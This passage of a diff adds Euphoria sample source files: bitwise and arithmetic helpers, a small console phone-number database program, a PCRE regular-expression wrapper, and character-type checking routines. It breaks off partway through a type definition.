+--****
+-- === Bitwise Operations
+
+--**
+-- moves the bits in the input value by the specified distance.
+public function shift_bits(object source_number, integer shift_distance)
+
+	if sequence(source_number) then
+		for i = 1 to length(source_number) do
+			source_number[i] = shift_bits(source_number[i], shift_distance)
+		end for
+		return source_number
+	end if
+	source_number = and_bits(source_number, 0xFFFFFFFF)
+	if shift_distance = 0 then
+		return source_number
+	end if
+
+	if shift_distance < 0 then
+		source_number *= power(2, -shift_distance)
+	else
+		integer lSigned = 0
+		-- Check for the sign bit so we don't propagate it.
+		if and_bits(source_number, 0x80000000) then
+			lSigned = 1
+			source_number = and_bits(source_number, 0x7FFFFFFF)
+		end if
+		source_number /= power(2, shift_distance)
+		if lSigned and shift_distance < 32 then
+			-- Put back the sign bit now shifted
+			source_number = or_bits(source_number, power(2, 31-shift_distance))
+		end if
+	end if
+
+	return and_bits(source_number, 0xFFFFFFFF)
+end function
+
+--**
+-- rotates the bits in the input value by the specified distance.
+public function rotate_bits(object source_number, integer shift_distance)
+	atom lTemp
+	atom lSave
+	integer lRest
+
+	if sequence(source_number) then
+		for i = 1 to length(source_number) do
+			source_number[i] = rotate_bits(source_number[i], shift_distance)
+		end for
+		return source_number
+	end if
+
+	source_number = and_bits(source_number, 0xFFFFFFFF)
+	if shift_distance = 0 then
+		return source_number
+	end if
+
+	if shift_distance < 0 then
+		lSave = not_bits(power(2, 32 + shift_distance) - 1)
+		lRest = 32 + shift_distance
+	else
+		lSave = power(2, shift_distance) - 1
+		lRest = shift_distance - 32
+	end if
+
+	lTemp = shift_bits(and_bits(source_number, lSave), lRest)
+	source_number = shift_bits(source_number, shift_distance)
+	return or_bits(source_number, lTemp)
+end function
+
+--****
+-- Arithmetic
+
+--**
+-- Returns the greater common divisor of two atoms
+public function gcd(atom p, atom q)
+	atom r
+
+	-- Both arguments must be positive.
+	if p < 0 then
+		p = -p
+	end if
+	if q < 0 then
+		q = -q
+	end if
+
+	-- Strip off any fractional part.
+	p = floor(p)
+	q = floor(q)
+
+	-- Ensure that 'p' is not smaller than 'q'
+	if p < q then
+		r = p
+		p = q
+		q = r
+	end if
+
+	-- Special case.
+	if q = 0 then
+		return p
+	end if
+
+	-- repeat until I get a remainder less than 2.
+    while r > 1 with entry do
+    	-- set up next cycle using denominator and remainder from previous cycle.
+		p = q
+		q = r
+	entry
+		-- get remainder after dividing p by q
+		r = remainder(p, q)
+    end while
+
+	if r = 1 then
+		return 1
+	else
+		return q
+	end if
+end function
+
+--****
+-- Floating Point
+
+--**
+-- compares two (sets of) numbers based on approximate equality.
+public function approx(object p, object q, atom epsilon = 0.005)
+
+	if sequence(p) then
+		if sequence(q) then
+			if length(p) != length(q) then
+				error:crash("approx(): Sequence arguments must be the same length")
+			end if
+			for i = 1 to length(p) do
+				p[i] = approx(p[i], q[i])
+			end for
+			return p
+		else
+			for i = 1 to length(p) do
+				p[i] = approx(p[i], q)
+			end for
+			return p
+		end if
+	elsif sequence(q) then
+			for i = 1 to length(q) do
+				q[i] = approx(p, q[i])
+			end for
+			return q
+	else
+		if p > (q + epsilon) then
+			return 1
+		end if
+
+		if p < (q - epsilon) then
+			return -1
+		end if
+
+		return 0
+	end if
+end function
+
+--**
+-- tests for power of 2.
+public function powof2(object p)
+	return not (and_bits(p, p-1))
+end function
+
+--**
+-- tests if the supplied integer is a even or odd number.
+public function is_even(integer test_integer)
+	return (and_bits(test_integer, 1) = 0)
+end function
+
+--**
+-- tests if the supplied Euphoria object is even or odd.
+public function is_even_obj(object test_object)
+	if atom(test_object) then
+		if integer(test_object) then
+			return (and_bits(test_object, 1) = 0)
+		end if
+		return 0
+	end if
+	for i = 1 to length(test_object) do
+		test_object[i] = is_even_obj(test_object[i])
+	end for
+
+	return test_object
+end function
+
diff --git a/samples/Euphoria/mydata.ex b/samples/Euphoria/mydata.ex
new file mode 100644
index 0000000000..c42e85bf49
--- /dev/null
+++ b/samples/Euphoria/mydata.ex
@@ -0,0 +1,205 @@
+--****
+-- === mydata.ex
+-- This program uses the Euphoria Database System (EDS) to create and maintain a simple database.
+
+constant FIELDS = {
+	"Phone number",
+	"Last Name",
+	"First name",
+	"Middle Initial"
+	}
+
+-- file to store the database in:
+constant MYNAME   = "mydata.edb"
+
+include std/eds.e  -- Euphoria Database System
+include std/get.e
+include std/sort.e
+include std/text.e
+
+constant KEYBOARD = 0,
+	 SCREEN   = 1,
+	 ERROR    = 2
+
+constant TRUE = 1
+constant WHITE_SPACE = " \t\n"
+constant FORM_FEED = 12
+
+type file_number(integer x)
+-- document which vars are used as file numbers 
+    return x >= 0
+end type
+
+procedure myfatal(sequence msg)
+-- fatal error
+    puts(ERROR, '\n' & "An unexpected error occurred: " & msg & '\n')
+    ? 1/0 -- too see call stack
+end procedure
+
+function user_input()
+-- get user input from keyboard
+    object line
+
+    while TRUE do
+	line = gets(KEYBOARD)
+	if sequence(line) then
+	    -- delete any leading whitespace
+	    while find(line[1], WHITE_SPACE) do
+		line = line[2..length(line)]
+		if length(line) = 0 then
+		    exit
+		end if
+	    end while
+	    if length(line) > 0 then
+		exit
+	    end if
+	end if
+	puts(SCREEN, "\n? ")
+    end while
+    -- delete trailing whitespace
+    while find(line[length(line)], WHITE_SPACE) do
+	line = line[1..length(line)-1] 
+    end while
+    return line
+end function
+
+procedure show(file_number f, object key, object data)
+    puts(f, "\n" & key & '\n')
+    for i = 2 to length(FIELDS) do
+	puts(f, '\t' & data[i-1] & '\n')
+    end for
+end procedure
+
+procedure add()
+-- add a new record to the database
+    sequence key, data
+    integer f
+    
+    puts(SCREEN, "\n\t" & FIELDS[1] & ": ")
+    key = user_input()
+    f = db_find_key(key)
+    if f >= 1 then
+	show(SCREEN, db_record_key(f), db_record_data(f))
+	puts(SCREEN, "Do you want to update this record? (y/n) ")
+	if find('n', gets(0)) then
+	    return
+	end if
+    end if
+    data = {}
+    for i = 2 to length(FIELDS) do
+	puts(SCREEN, "\n\t" & FIELDS[i] & ": ")
+	data = append(data, user_input())
+    end for
+    puts(SCREEN, '\n')
+    if f >= 1 then
+	-- update data part of record
+	db_replace_data(f, data)
+    else
+	-- insert new record
+	if db_insert(key, data) != DB_OK then
+	    myfatal("insert failed!\n")
+	end if
+    end if
+end procedure 
+
+procedure delete()
+-- delete a record, given first field 
+    sequence name
+    integer d
+
+    puts(SCREEN, "\n\t" & FIELDS[1] & ": ")
+    name = user_input()
+    d = db_find_key(name)
+    if d < 0 then
+	puts(SCREEN, "\n\tnot found\n")
+	return
+    end if 
+    show(SCREEN, db_record_key(d), db_record_data(d))
+    puts(SCREEN, "Delete? (y/n) ")
+    if find('n', gets(0)) then
+	return
+    end if
+    db_delete_record(d)
+end procedure
+
+procedure find_name()
+-- find the record that matches the surname
+    sequence name
+    integer f
+
+    puts(SCREEN, "\n\t" & FIELDS[1] & ": ")
+    name = user_input()
+    f = db_find_key(name)
+    if f < 0 then
+	puts(SCREEN, "\n\tnot found\n")
+	return
+    end if 
+    show(SCREEN, db_record_key(f), db_record_data(f))
+end procedure
+
+procedure list(file_number f)
+-- list the entire database to a device
+    puts(f, '\n')
+    for rec = 1 to db_table_size() do
+	show(f, db_record_key(rec), db_record_data(rec)) 
+    end for
+end procedure
+
+procedure main()
+    sequence command
+    file_number printer
+    
+    -- open or create the database
+    if db_open(MYNAME, DB_LOCK_NO) != DB_OK then
+	if db_create(MYNAME, DB_LOCK_NO) != DB_OK then
+	    myfatal("Couldn't create database")
+	end if
+	if db_create_table("phone numbers") != DB_OK then
+	    myfatal("couldn't create table")
+	end if
+    end if
+
+    -- select the (only) table in the database
+    if db_select_table("phone numbers") != DB_OK then
+	myfatal("couldn't select table\n")
+    end if
+    
+    -- prompt the user for his command
+    clear_screen()
+    puts(SCREEN, "\t\tSimple Database\n")
+    while TRUE do
+	puts(SCREEN, 
+	     "\n(a)dd, (d)elete, (f)ind, (l)ist, (p)rint, (q)uit: ")
+	command = upper(user_input())
+	if 'A' = command[1] then
+	    add()
+
+	elsif 'D' = command[1] then
+	    delete()
+
+	elsif 'F' = command[1] then
+	    find_name()
+
+	elsif 'Q' = command[1] then
+	    exit
+
+	elsif 'L' = command[1] then
+	    list(SCREEN)
+
+	elsif 'P' = command[1] then
+	    printer = open("PRN", "w")
+	    if printer = -1 then
+		puts(SCREEN, "Can't open printer device\n")
+	    else
+		list(printer)
+		puts(printer, FORM_FEED)
+		close(printer)
+	    end if
+	else
+	    puts(SCREEN, "\nsay what?\n")                   
+	end if 
+    end while
+end procedure
+
+main()
+
diff --git a/samples/Euphoria/regex.e b/samples/Euphoria/regex.e
new file mode 100644
index 0000000000..10be7d0c31
--- /dev/null
+++ b/samples/Euphoria/regex.e
@@ -0,0 +1,485 @@
+--****
+-- == Regular Expressions
+
+namespace regex
+
+include std/types.e
+include std/flags.e as flags
+include std/machine.e
+include std/math.e
+include std/search.e
+include std/text.e
+
+enum
+	M_PCRE_COMPILE          = 68,
+	M_PCRE_EXEC             = 70,
+	M_PCRE_REPLACE          = 71,
+	M_PCRE_ERROR_MESSAGE    = 95,
+	M_PCRE_GET_OVECTOR_SIZE = 97,
+	$
+
+--****
+-- === Option Constants
+
+public constant
+	DEFAULT            = #00000000,
+	CASELESS           = #00000001,
+	MULTILINE          = #00000002,
+	DOTALL             = #00000004,
+	EXTENDED           = #00000008,
+	ANCHORED           = #00000010,
+	DOLLAR_ENDONLY     = #00000020,
+	EXTRA              = #00000040,
+	NOTBOL             = #00000080,
+	NOTEOL             = #00000100,
+	UNGREEDY           = #00000200,
+	NOTEMPTY           = #00000400,
+	UTF8               = #00000800,
+	NO_AUTO_CAPTURE    = #00001000,
+	NO_UTF8_CHECK      = #00002000,
+	AUTO_CALLOUT       = #00004000,
+	PARTIAL            = #00008000,
+	DFA_SHORTEST       = #00010000,
+	DFA_RESTART        = #00020000,
+	FIRSTLINE          = #00040000,
+	DUPNAMES           = #00080000,
+	NEWLINE_CR         = #00100000,
+	NEWLINE_LF         = #00200000,
+	NEWLINE_CRLF       = #00300000,
+	NEWLINE_ANY        = #00400000,
+	NEWLINE_ANYCRLF    = #00500000,
+	BSR_ANYCRLF        = #00800000,
+	BSR_UNICODE        = #01000000,
+	STRING_OFFSETS     = #0C000000
+
+constant option_names = {
+	{DEFAULT,"DEFAULT"},
+	{CASELESS,"CASELESS"},
+	{MULTILINE,"MULTILINE"},
+	{DOTALL,"DOTALL"},
+	{EXTENDED,"EXTENDED"},
+	{ANCHORED,"ANCHORED"},
+	{DOLLAR_ENDONLY,"DOLLAR_ENDONLY"},
+	{EXTRA,"EXTRA"},
+	{NOTBOL,"NOTBOL"},
+	{NOTEOL,"NOTEOL"},
+	{UNGREEDY,"UNGREEDY"},
+	{NOTEMPTY,"NOTEMPTY"},
+	{UTF8,"UTF8"},
+	{NO_AUTO_CAPTURE,"NO_AUTO_CAPTURE"},
+	{NO_UTF8_CHECK,"NO_UTF8_CHECK"},
+	{AUTO_CALLOUT,"AUTO_CALLOUT"},
+	{PARTIAL,"PARTIAL"},
+	{DFA_SHORTEST,"DFA_SHORTEST"},
+	{DFA_RESTART,"DFA_RESTART"},
+	{FIRSTLINE,"FIRSTLINE"},
+	{DUPNAMES,"DUPNAMES"},
+	{NEWLINE_CR,"NEWLINE_CR"},
+	{NEWLINE_LF,"NEWLINE_LF"},
+	{NEWLINE_CRLF,"NEWLINE_CRLF"},
+	{NEWLINE_ANY,"NEWLINE_ANY"},
+	{NEWLINE_ANYCRLF,"NEWLINE_ANYCRLF"},
+	{BSR_ANYCRLF,"BSR_ANYCRLF"},
+	{BSR_UNICODE,"BSR_UNICODE"},
+	{STRING_OFFSETS,"STRING_OFFSETS"}
+}
+
+--****
+-- === Error Constants
+
+public constant
+	ERROR_NOMATCH        =  (-1),
+	ERROR_NULL           =  (-2),
+	ERROR_BADOPTION      =  (-3),
+	ERROR_BADMAGIC       =  (-4),
+	ERROR_UNKNOWN_OPCODE =  (-5),
+	ERROR_UNKNOWN_NODE   =  (-5),
+	ERROR_NOMEMORY       =  (-6),
+	ERROR_NOSUBSTRING    =  (-7),
+	ERROR_MATCHLIMIT     =  (-8),
+	ERROR_CALLOUT        =  (-9),
+	ERROR_BADUTF8        = (-10),
+	ERROR_BADUTF8_OFFSET = (-11),
+	ERROR_PARTIAL        = (-12),
+	ERROR_BADPARTIAL     = (-13),
+	ERROR_INTERNAL       = (-14),
+	ERROR_BADCOUNT       = (-15),
+	ERROR_DFA_UITEM      = (-16),
+	ERROR_DFA_UCOND      = (-17),
+	ERROR_DFA_UMLIMIT    = (-18),
+	ERROR_DFA_WSSIZE     = (-19),
+	ERROR_DFA_RECURSE    = (-20),
+	ERROR_RECURSIONLIMIT = (-21),
+	ERROR_NULLWSLIMIT    = (-22),
+	ERROR_BADNEWLINE     = (-23)
+
+public constant error_names = {
+	{ERROR_NOMATCH,"ERROR_NOMATCH"},
+	{ERROR_NULL,"ERROR_NULL"},
+	{ERROR_BADOPTION,"ERROR_BADOPTION"},
+	{ERROR_BADMAGIC,"ERROR_BADMAGIC"},
+	{ERROR_UNKNOWN_OPCODE,"ERROR_UNKNOWN_OPCODE/NODE"},
+	{ERROR_UNKNOWN_NODE,"ERROR_UNKNOWN_OPCODE/NODE"},
+	{ERROR_NOMEMORY,"ERROR_NOMEMORY"},
+	{ERROR_NOSUBSTRING,"ERROR_NOSUBSTRING"},
+	{ERROR_MATCHLIMIT,"ERROR_MATCHLIMIT"},
+	{ERROR_CALLOUT,"ERROR_CALLOUT"},
+	{ERROR_BADUTF8,"ERROR_BADUTF8"},
+	{ERROR_BADUTF8_OFFSET,"ERROR_BADUTF8_OFFSET"},
+	{ERROR_PARTIAL,"ERROR_PARTIAL"},
+	{ERROR_BADPARTIAL,"ERROR_BADPARTIAL"},
+	{ERROR_INTERNAL,"ERROR_INTERNAL"},
+	{ERROR_BADCOUNT,"ERROR_BADCOUNT"},
+	{ERROR_DFA_UITEM,"ERROR_DFA_UITEM"},
+	{ERROR_DFA_UCOND,"ERROR_DFA_UCOND"},
+	{ERROR_DFA_UMLIMIT,"ERROR_DFA_UMLIMIT"},
+	{ERROR_DFA_WSSIZE,"ERROR_DFA_WSSIZE"},
+	{ERROR_DFA_RECURSE,"ERROR_DFA_RECURSE"},
+	{ERROR_RECURSIONLIMIT,"ERROR_RECURSIONLIMIT"},
+	{ERROR_NULLWSLIMIT,"ERROR_NULLWSLIMIT"},
+	{ERROR_BADNEWLINE,"ERROR_BADNEWLINE"}
+}
+
+constant all_options = math:or_all({
+	DEFAULT,
+	CASELESS,
+	MULTILINE,
+	DOTALL,
+	EXTENDED,
+	ANCHORED,
+	DOLLAR_ENDONLY,
+	EXTRA,
+	NOTBOL,
+	NOTEOL,
+	UNGREEDY,
+	NOTEMPTY,
+	UTF8,
+	NO_AUTO_CAPTURE,
+	NO_UTF8_CHECK,
+	AUTO_CALLOUT,
+	PARTIAL,
+	DFA_SHORTEST,
+	DFA_RESTART,
+	FIRSTLINE,
+	DUPNAMES,
+	NEWLINE_CR,
+	NEWLINE_LF,
+	NEWLINE_CRLF,
+	NEWLINE_ANY,
+	NEWLINE_ANYCRLF,
+	BSR_ANYCRLF,
+	BSR_UNICODE,
+	STRING_OFFSETS
+})
+
+--****
+-- === Create and Destroy
+
+--**
+-- Regular expression type
+public type regex(object o)
+	return sequence(o)
+end type
+
+--**
+-- Regular expression option specification type
+public type option_spec(object o)
+	if atom(o) then
+		if not integer(o) then
+			return 0
+		else
+			if (or_bits(o,all_options) != all_options) then
+				return 0
+			else
+				return 1
+			end if
+		end if
+	elsif integer_array(o) then
+		return option_spec( math:or_all(o) )
+	else
+		return 0
+	end if
+end type
+
+--**
+-- converts an option spec to a string.
+public function option_spec_to_string(option_spec o)
+	return flags:flags_to_string(o, option_names)
+end function
+
+--**
+-- converts an regex error to a string.
+public function error_to_string(integer i)
+	if i >= 0 or i < -23 then
+		return sprintf("%d",{i})
+	else
+		return search:vlookup(i, error_names, 1, 2, "Unknown Error")
+	end if
+end function
+
+--**
+-- returns an allocated regular expression.
+public function new(string pattern, option_spec options=DEFAULT)
+	if sequence(options) then
+		options = math:or_all(options)
+	end if
+
+	-- concatenation ensures we really get a new sequence, and don't just use the
+	-- one passed in, which could be another regex previously created...this may
+	-- be a bug with the refcount/delete_instance/regex code
+	return machine_func(M_PCRE_COMPILE, { pattern, options })
+end function
+
+--**
+-- returns a text based error message.
+public function error_message(object re)
+	return machine_func(M_PCRE_ERROR_MESSAGE, { re })
+end function
+
+--****
+-- === Utility Routines
+
+--**
+public function escape(string s)
+	return text:escape(s, ".\\+*?[^]$(){}=!<>|:-")
+end function
+
+--**
+-- returns the number of capturing subpatterns (the ovector size) for a regex.
+public function get_ovector_size(regex ex, integer maxsize=0)
+	integer m = machine_func(M_PCRE_GET_OVECTOR_SIZE, {ex})
+	if (m > maxsize) then
+		return maxsize
+	end if
+
+	return m+1
+end function
+
+--****
+-- === Match
+
+--**
+-- returns the first match of ##re## in ##haystack##. You can optionally start at the position
+-- ##from##.
+public function find(regex re, string haystack, integer from=1, option_spec options=DEFAULT, integer size = get_ovector_size(re, 30))
+	if sequence(options) then
+		options = math:or_all(options)
+	end if
+
+	if size < 0 then
+		size = 0
+	end if
+
+	return machine_func(M_PCRE_EXEC, { re, haystack, length(haystack), options, from, size })
+end function
+
+--**
+-- returns all matches of ##re## in ##haystack## optionally starting at the sequence position
+-- ##from##.
+public function find_all(regex re, string haystack, integer from=1, option_spec options=DEFAULT, integer size = get_ovector_size(re, 30))
+	if sequence(options) then
+		options = math:or_all(options)
+	end if
+
+	if size < 0 then
+		size = 0
+	end if
+
+	object result
+	sequence results = {}
+	atom pHaystack = machine:allocate_string(haystack)
+	while sequence(result) with entry do
+		results = append(results, result)
+		from = math:max(result) + 1
+
+		if from > length(haystack) then
+			exit
+		end if
+	entry
+		result = machine_func(M_PCRE_EXEC, { re, pHaystack, length(haystack), options, from, size })
+	end while
+
+	machine:free(pHaystack)
+
+	return results
+end function
+
+--**
+-- determines if ##re## matches any portion of ##haystack##.
+public function has_match(regex re, string haystack, integer from=1, option_spec options=DEFAULT)
+	return sequence(find(re, haystack, from, options))
+end function
+
+--**
+-- determines if the entire ##haystack## matches ##re##.
+public function is_match(regex re, string haystack, integer from=1, option_spec options=DEFAULT)
+	object m = find(re, haystack, from, options)
+
+	if sequence(m) and length(m) > 0 and m[1][1] = from and m[1][2] = length(haystack) then
+		return 1
+	end if
+
+	return 0
+end function
+
+--**
+-- gets the matched text only.
+public function matches(regex re, string haystack, integer from=1, option_spec options=DEFAULT)
+	if sequence(options) then
+		options = math:or_all(options)
+	end if
+	integer str_offsets = and_bits(STRING_OFFSETS, options)
+	object match_data = find(re, haystack, from, and_bits(options, not_bits(STRING_OFFSETS)))
+
+	if atom(match_data) then
+		return ERROR_NOMATCH
+	end if
+
+	for i = 1 to length(match_data) do
+		sequence tmp
+		if match_data[i][1] = 0 then
+			tmp = ""
+		else
+			tmp = haystack[match_data[i][1]..match_data[i][2]]
+		end if
+		if str_offsets then
+			match_data[i] = { tmp, match_data[i][1], match_data[i][2] }
+		else
+			match_data[i] = tmp
+		end if
+	end for
+
+	return match_data
+end function
+
+--**
+-- gets the text of all matches.
+public function all_matches(regex re, string haystack, integer from=1, option_spec options=DEFAULT)
+	if sequence(options) then
+		options = math:or_all(options)
+	end if
+	integer str_offsets = and_bits(STRING_OFFSETS, options)
+	object match_data = find_all(re, haystack, from, and_bits(options, not_bits(STRING_OFFSETS)))
+
+	if length(match_data) = 0 then
+		return ERROR_NOMATCH
+	end if
+
+	for i = 1 to length(match_data) do
+		for j = 1 to length(match_data[i]) do
+			sequence tmp
+			integer a,b
+			a = match_data[i][j][1]
+			if a = 0 then
+				tmp = ""
+			else
+				b = match_data[i][j][2]
+				tmp = haystack[a..b]
+			end if
+			if str_offsets then
+				match_data[i][j] = { tmp, a, b }
+			else
+				match_data[i][j] = tmp
+			end if
+		end for
+	end for
+
+	return match_data
+end function
+
+--****
+-- === Splitting
+
+--**
+-- splits a string based on a regex as a delimiter.
+public function split(regex re, string text, integer from=1, option_spec options=DEFAULT)
+	return split_limit(re, text, 0, from, options)
+end function
+
+public function split_limit(regex re, string text, integer limit=0, integer from=1, option_spec options=DEFAULT)
+	if sequence(options) then
+		options = math:or_all(options)
+	end if
+	sequence match_data = find_all(re, text, from, options), result
+	integer last = 1
+
+	if limit = 0 or limit > length(match_data) then
+		limit = length(match_data)
+	end if
+
+	result = repeat(0, limit)
+
+	for i = 1 to limit do
+		integer a
+		a = match_data[i][1][1]
+		if a = 0 then
+			result[i] = ""
+		else
+			result[i] = text[last..a - 1]
+			last = match_data[i][1][2] + 1
+		end if
+	end for
+
+	if last < length(text) then
+		result &= { text[last..$] }
+	end if
+
+	return result
+end function
+
+--****
+-- === Replacement
+
+--**
+-- replaces all matches of a regex with the replacement text.
+public function find_replace(regex ex, string text, sequence replacement, integer from=1,
+			option_spec options=DEFAULT)
+	return find_replace_limit(ex, text, replacement, -1, from, options)
+end function
+
+--**
+-- replaces up to ##limit## matches of ##ex## in ##text## except when ##limit## is 0.  When
+-- ##limit## is 0, this routine replaces all of the matches.
+public function find_replace_limit(regex ex, string text, sequence replacement,
+			integer limit, integer from=1, option_spec options=DEFAULT)
+	if sequence(options) then
+		options = math:or_all(options)
+	end if
+
+    return machine_func(M_PCRE_REPLACE, { ex, text, replacement, options,
+			from, limit })
+end function
+
+--**
+-- finds and then replaces text that is processed by a call back function.
+public function find_replace_callback(regex ex, string text, integer rid, integer limit=0,
+                integer from=1, option_spec options=DEFAULT)
+	if sequence(options) then
+		options = math:or_all(options)
+	end if
+	sequence match_data = find_all(ex, text, from, options), replace_data
+
+	if limit = 0 or limit > length(match_data) then
+		limit = length(match_data)
+	end if
+	replace_data = repeat(0, limit)
+
+	for i = 1 to limit do
+		sequence params = repeat(0, length(match_data[i]))
+		for j = 1 to length(match_data[i]) do
+			if equal(match_data[i][j],{0,0}) then
+				params[j] = 0
+			else
+				params[j] = text[match_data[i][j][1]..match_data[i][j][2]]
+			end if
+		end for
+
+		replace_data[i] = call_func(rid, { params })
+	end for
+
+	for i = limit to 1 by -1 do
+		text = replace(text, replace_data[i], match_data[i][1][1], match_data[i][1][2])
+	end for
+
+	return text
+end function
diff --git a/samples/Euphoria/types.e b/samples/Euphoria/types.e
new file mode 100644
index 0000000000..1b65555a8b
--- /dev/null
+++ b/samples/Euphoria/types.e
@@ -0,0 +1,423 @@
+--****
+-- == Types - Extended
+
+namespace types
+
+public constant OBJ_UNASSIGNED = 0
+public constant OBJ_INTEGER = 1
+public constant OBJ_ATOM = 2
+public constant OBJ_SEQUENCE = 3
+
+
+public constant FALSE = (1=0)
+public constant TRUE = (1=1)
+
+--****
+-- === Predefined Character Sets
+
+public enum
+	CS_FIRST = 0,	
+	CS_Consonant,
+	CS_Vowel,
+	CS_Hexadecimal,
+	CS_Whitespace,
+	CS_Punctuation,
+	CS_Printable,
+	CS_Displayable,
+	CS_Lowercase,
+	CS_Uppercase,
+	CS_Alphanumeric,
+	CS_Identifier,
+	CS_Alphabetic,
+	CS_ASCII,
+	CS_Control,
+	CS_Digit,
+	CS_Graphic,
+	CS_Bytes,
+	CS_SpecWord,
+	CS_Boolean,
+	CS_LAST
+
+--****
+-- === Support Functions
+--
+
+--**
+-- determines whether one or more characters are in a given character set.
+public function char_test(object test_data, sequence char_set)
+	integer lChr
+
+	if integer(test_data) then
+		if sequence(char_set[1]) then
+			for j = 1 to length(char_set) do
+				if test_data >= char_set[j][1] and test_data <= char_set[j][2] then 
+					return TRUE 
+				end if
+			end for
+			return FALSE
+		else
+			return find(test_data, char_set) > 0
+		end if
+	elsif sequence(test_data) then
+		if length(test_data) = 0 then 
+			return FALSE 
+		end if
+		for i = 1 to length(test_data) label "NXTCHR" do
+			if sequence(test_data[i]) then 
+				return FALSE
+			end if
+			if not integer(test_data[i]) then 
+				return FALSE
+			end if
+			lChr = test_data[i]
+			if sequence(char_set[1]) then
+				for j = 1 to length(char_set) do
+					if lChr >= char_set[j][1] and lChr <= char_set[j][2] then
+						continue "NXTCHR" 
+					end if
+				end for
+			else
+				if find(lChr, char_set) > 0 then
+					continue "NXTCHR"
+				end if
+			end if
+			return FALSE
+		end for
+		return TRUE
+	else
+		return FALSE
+	end if
+end function
+
+sequence Defined_Sets
+
+--**
+-- sets all the defined character sets to their default definitions.
+public procedure set_default_charsets()
+	Defined_Sets = repeat(0, CS_LAST - CS_FIRST - 1)
+	Defined_Sets[CS_Alphabetic	] = {{'a', 'z'}, {'A', 'Z'}}
+	Defined_Sets[CS_Alphanumeric] = {{'0', '9'}, {'a', 'z'}, {'A', 'Z'}}
+	Defined_Sets[CS_Identifier]   = {{'0', '9'}, {'a', 'z'}, {'A', 'Z'}, {'_', '_'}}
+	Defined_Sets[CS_Uppercase 	] = {{'A', 'Z'}}
+	Defined_Sets[CS_Lowercase 	] = {{'a', 'z'}}
+	Defined_Sets[CS_Printable 	] = {{' ', '~'}}
+	Defined_Sets[CS_Displayable ] = {{' ', '~'}, "  ", "\t\t", "\n\n", "\r\r", {8,8}, {7,7} }
+	Defined_Sets[CS_Whitespace 	] = " \t\n\r" & 11 & 160
+	Defined_Sets[CS_Consonant 	] = "bcdfghjklmnpqrstvwxyzBCDFGHJKLMNPQRSTVWXYZ"
+	Defined_Sets[CS_Vowel 		] = "aeiouAEIOU"
+	Defined_Sets[CS_Hexadecimal ] = {{'0', '9'}, {'A', 'F'},{'a', 'f'}}
+	Defined_Sets[CS_Punctuation ] = {{' ', '/'}, {':', '?'}, {'[', '`'}, {'{', '~'}}
+	Defined_Sets[CS_Control 	] = {{0, 31}, {127, 127}}
+	Defined_Sets[CS_ASCII 		] = {{0, 127}}
+	Defined_Sets[CS_Digit 		] = {{'0', '9'}}
+	Defined_Sets[CS_Graphic 	] = {{'!', '~'}}
+	Defined_Sets[CS_Bytes	 	] = {{0, 255}}
+	Defined_Sets[CS_SpecWord 	] = "_"
+	Defined_Sets[CS_Boolean     ] = {TRUE,FALSE}
+end procedure
+
+--**
+-- gets the definition for each of the defined character sets.
+public function get_charsets()
+	sequence result_
+
+	result_ = {}
+	for i = CS_FIRST + 1 to CS_LAST - 1 do
+		result_ = append(result_, {i, Defined_Sets[i]} )
+	end for
+
+	return result_
+end function
+
+--**
+-- sets the definition for one or more defined character sets.
+public procedure set_charsets(sequence charset_list)
+	for i = 1 to length(charset_list) do
+		if sequence(charset_list[i]) and length(charset_list[i]) = 2 then
+			if integer(charset_list[i][1]) and charset_list[i][1] > CS_FIRST and charset_list[i][1] < CS_LAST then
+				Defined_Sets[charset_list[i][1]] = charset_list[i][2]
+			end if
+		end if
+	end for
+end procedure
+
+--****
+-- === Types
+
+--**
+-- test for an integer boolean.
+public type boolean(object test_data)
+	-- A boolean is a value that is either zero or one.
+	return find(test_data,{1,0}) != 0
+end type
+
+--**
+-- tests elements for boolean.
+public type t_boolean(object test_data)
+	return char_test(test_data, Defined_Sets[CS_Boolean])
+end type
+
+--**
+-- tests for  alphanumeric character.
+public type t_alnum(object test_data)
+	return char_test(test_data, Defined_Sets[CS_Alphanumeric])
+end type
+
+--**
+-- tests string if it is an valid identifier.
+public type t_identifier(object test_data)
+	-- Test to make sure the first character is not a number
+	if t_digit(test_data) then
+		return 0
+	elsif sequence(test_data) and length(test_data) > 0 and t_digit(test_data[1]) then
+		return 0
+	end if
+
+	return char_test(test_data, Defined_Sets[CS_Identifier])
+end type
+
+--**
+-- tests for alphabetic characters.
+public type t_alpha(object test_data)
+	return char_test(test_data, Defined_Sets[CS_Alphabetic])
+end type
+
+--**
+-- tests for ASCII characters.
+public type t_ascii(object test_data)
+	return char_test(test_data, Defined_Sets[CS_ASCII])
+end type
+
+--**
+-- tests for control characters.
+public type t_cntrl(object test_data)
+	return char_test(test_data, Defined_Sets[CS_Control])
+end type
+
+--**
+-- tests for digits.
+public type t_digit(object test_data)
+	return char_test(test_data, Defined_Sets[CS_Digit])
+end type
+
+--**
+-- test for glyphs (printable) characters.
+public type t_graph(object test_data)
+	return char_test(test_data, Defined_Sets[CS_Graphic])
+end type
+
+--**
+-- tests for a special word character.
+public type t_specword(object test_data)
+	return char_test(test_data, Defined_Sets[CS_SpecWord])
+end type
+
+--**
+-- tests for bytes.
+public type t_bytearray(object test_data)
+	return char_test(test_data, Defined_Sets[CS_Bytes])
+end type
+
+--**
+-- tests for lowercase characters.
+public type t_lower(object test_data)
+	return char_test(test_data, Defined_Sets[CS_Lowercase])
+end type
+
+--**
+-- tests for ASCII glyph characters.
+public type t_print(object test_data)
+	return char_test(test_data, Defined_Sets[CS_Printable])
+end type
+
+--**
+-- tests for printable characters.
+public type t_display(object test_data)
+	return char_test(test_data, Defined_Sets[CS_Displayable])
+end type
+
+--**
+-- tests for punctuation characters.
+public type t_punct(object test_data)
+	return char_test(test_data, Defined_Sets[CS_Punctuation])
+end type
+
+--**
+-- tests for whitespace characters.
+public type t_space(object test_data)
+	return char_test(test_data, Defined_Sets[CS_Whitespace])
+end type
+
+--**
+-- tests for uppercase characters.
+public type t_upper(object test_data)
+	return char_test(test_data, Defined_Sets[CS_Uppercase])
+end type
+
+--**
+-- tests for hexadecimal characters.
+public type t_xdigit(object test_data)
+	return char_test(test_data, Defined_Sets[CS_Hexadecimal])
+end type
+
+--**
+-- tests for vowel characters.
+public type t_vowel(object test_data)
+	return char_test(test_data, Defined_Sets[CS_Vowel])
+end type
+
+--**
+-- tests for consonant characters.
+public type t_consonant(object test_data)
+	return char_test(test_data, Defined_Sets[CS_Consonant])
+end type
+
+set_default_charsets()
+
+--**
+-- tests for integer elements.
+public type integer_array( object x )
+	if not sequence(x) then
+		return 0
+	end if
+
+	for i = 1 to length(x) do
